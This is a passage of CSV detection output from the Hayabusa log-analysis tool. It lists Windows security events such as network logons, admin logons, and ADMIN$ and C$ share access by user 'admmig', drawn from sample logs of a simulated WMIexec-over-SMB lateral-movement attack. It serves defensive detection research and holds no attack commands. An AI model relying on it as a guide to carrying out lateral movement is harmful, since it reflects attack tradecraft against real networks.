+09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619090610.0007844 : IP Address: 127.0.0.1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.499 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619090610.0007844 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.499 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.499 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 127.0.0.1,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.499 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.515 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619090610.0007844 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.515 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.549 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619090610.0007844 : IP Address: 127.0.0.1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.549 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.549 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619090610.0007844 : IP Address: 127.0.0.1,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.549 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619090610.0007844 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.565 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:03.565 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: __1619090610.0007844 : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:16.801 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x18acdd,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:16.801 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 63564 : LogonID: 0x18acdd,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:16.801 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:16.801 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:16.801 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:16.817 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x18ad01,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:16.817 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x18ad10,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:16.817 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x18ad1f,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:16.817 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 63565 : LogonID: 0x18ad01,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:16.817 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 63566 : LogonID: 0x18ad10,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:16.817 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 63567 : LogonID: 0x18ad1f,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:27.649 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:28.551 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x18b247,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:28.551 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 63564 : LogonID: 0x18b247,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:28.551 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:28.551 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:28.551 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Program Files\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:28.551 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.306 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.321 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.321 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\DesktopTileResources\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.321 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Downloaded Program Files\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.337 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Fonts\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.337 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ImmersiveControlPanel\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.337 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\media\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.352 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Offline Web Pages\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.368 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ToastData\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.368 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.384 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\ar : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.384 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\bg : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.402 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\cs : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.402 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\da : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.402 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\de : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.402 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\el : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.402 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\en : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.402 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\es : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.402 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\et : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.402 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\fi : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.402 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\fr : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.416 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\he : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.416 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\hr : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.416 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\hu : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.416 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\it : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.416 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\ja : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.416 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\ko : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.416 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\lt : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.432 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\lv : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.432 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\nl : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.432 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\no : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.432 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\pl : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.432 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\pt : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.432 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\pt-BR : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.432 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\ro : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.432 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\ru : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.432 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\sk : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.432 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\sl : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows 